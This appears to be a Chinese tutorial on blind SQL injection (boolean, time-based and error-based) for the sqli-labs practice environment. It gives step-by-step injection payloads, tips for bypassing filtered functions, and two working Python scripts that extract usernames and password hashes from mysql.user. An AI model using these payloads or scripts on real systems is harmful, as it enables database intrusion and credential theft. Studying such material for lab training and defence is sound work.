一、布尔盲注

特征:没有回显数据,看不到结果
只有登录成功或者失败,两种情况才可以使用

后端数据库代码
1、猜数据库长度

select * from user where name = ‘$name’ ;

url:接收 :

? name = admin | ‘ and length( database () )=猜数据库长度

猜错为空,猜对则有回显。

2、猜数据库名(可以暴库)

? name = admin | ‘ and substr( database() , 1 ,1) = ‘ 猜的第一位名称 ‘ #

猜错为空,直到爆出数据库名称。

3、猜数据库中表的长度

猜第一个表长度

‘and length((select table_name from information_schema.tables where table_schema=’security’ limit 0,1))=6–+

猜第二个表长度

‘and length((select table_name from information_schema.tables where table_schema=’security’ limit 1,1))=8–+

4、猜表名
猜第一个表的第一个字符

‘and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=117–+

第二个表的第二个字符

‘and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),1,1))=117–+

5、猜字段长度

‘and length((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1))=6–+‘

6、判断字段名

第一位长度名称的一个字母的ASCII

‘and ord(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 1,1),1,1))=117–+

第二位长度名称的一个字母的ASCII

‘and ord(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 1,1),2,1))=115–+

需要掌握函数:

length(str)函数 返回字符串的长度
substr(str,poc,len)截取字符串,poc表示截取字符串的开始位,len表示截取字符串的长度
ascii()返回字符的ascii码,返回该字符对应的ascii码
count():返回当前列的数量
case when (条件) then 代码1 else 代码2 end :条件成立,则执行代码1,否则执行代码2

如果程序过滤了substr函数,可以用其他 函数代替 :效果与substr()一样
left(str,index)从左边第index开始截取
right(str,index)从右边第index开始截取
substring(str,index)从左边index开始截取
mid(str,index,len)截取str从index开始,截取len的长度
lpad(str,len,padstr)
rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果

如果程序过滤了 = (等于号),可以用in()、like代替,效果一样:

如果程序过滤了ascii(),可以用hex()、bin()、ord()代替,效果一样:

二、时间盲注

界面返回值只有一种 true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
时间盲注与布尔盲注类似。时间型盲注就是利用时间函数的延迟特性来判断注入语句是否执行成功。

什么情况下考虑使用时间盲注

1. 无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样
2. 不会回显注入语句执行结果,故无法使用UNION注入
3. 不会显示报错信息,故无法使用报错注入
4. 符合盲注的特征,但不属于布尔型盲注

常用函数
sleep(n):将程序挂起一段时间 n为n秒。
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句。

使用sleep()函数和if()函数:and (if(ascii(substr(database(),1,1))>100,sleep(10),null)) --+ 如果返回正确则 页面会停顿10秒,返回错误则会立马返回。只有指定条件的记录存在时才会停止指定的秒数。

流程:
①猜测数据库名称长度:
输入:

  • id=1’ and If(length(database()) > 1,1,sleep(5))–+

用时:<1s,数据库名称长度>1

输入:

  • id=1’ and If(length(database()) >8 ,1,sleep(5))–+

用时:5s,数据库名称长度=8
得出结论:数据库名称长度等于8个字符。
②猜测数据库名称的一个字符:
输入:

  • id=1’ and If(ascii(substr(database(),1,1))=97,sleep(5),1)–+

用时:<1s

输入:

  • id=1’ and If(ascii(substr(database(),1,1))=115,sleep(5),1)–+

用时:5s
得出结论:
数据库名称的第一个字符是小写字母s。
改变substr的值,以此类推第n个字母。最后猜出数据库名称。

③猜测数据库表名:先猜测长度,与上面内容相似。
④猜测数据库字段:先猜测长度,与上面内容相似。
⑤猜测字段内容:先猜测长度,与上面内容相似。

逻辑判断

基于布尔 有数据库输出判断

数据库长度,正确则有回显

?id=1 and length(database())=1xx

猜位数,第一位是什么,正确则有回显

?id=1 and substr(database(),1,1)= ‘x’

延时判断
?id=1and if(1=1,sleep(5),0) 如果1=1,则延迟5s ,不成立返回0
?id=1and if(1=1, length ( database () )=x ,sleep(5)) 如果长度猜对就回显,不对就延时

报错回显
?id = 2 and updatexml( 2,concat ( 0x7e, ( select database() ) , 0x7e) , 1) 报错并爆出数据库名
?id = 2 and updatexml( 2,concat ( 0x7e, ( select database() ) , 0x7e) , 1)

盲注脚本:

get请求盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

import requests
# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
(select group_concat(user,password)
from mysql.user)
) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
substr(
(select group_concat(user,password)
from mysql.user)
,{n},1)
) = {r} -- a"""

# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增

# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)


post请求盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests

# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length(
(select group_concat(user,password)
from mysql.user)
)>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
substr(
(select group_concat(user,password)
from mysql.user)
,{l},1)
)={n} -- a"""

# post请求参数
data= {
"uname" : "a') or 1 -- a",
"passwd" : "1",
"submit" : "Submit"
}

# 判断长度
def getLen(payload_len):
length = 1
while True:
# 修改请求参数
data["uname"] = payload_len.format(n = length)
response = requests.post(url=url, data=data)
# 出现此内容为登录成功
if '../images/flag.jpg' in response.text:
print('正在测试长度:', length)
length += 1
else:
print('测试成功,长度为:', length)
return length;

# 枚举字符
def getStr(length):
str = ''
# 从第一个字符开始截取
for l in range(1, length+1):
# 枚举字符的每一种可能性
for n in range(32, 126):
data["uname"] = payload_str.format(l=l, n=n)
response = requests.post(url=url, data=data)
if '../images/flag.jpg' in response.text:
str += chr(n)
print('第', l, '个字符枚举成功:',str )
break

length = getLen(payload_len)
getStr(length)

参考文章:
https://blog.csdn.net/weixin_45146120/article/details/100104131
https://blog.csdn.net/wangyuxiang946/article/details/123486880
https://blog.csdn.net/c_programj/article/details/115557295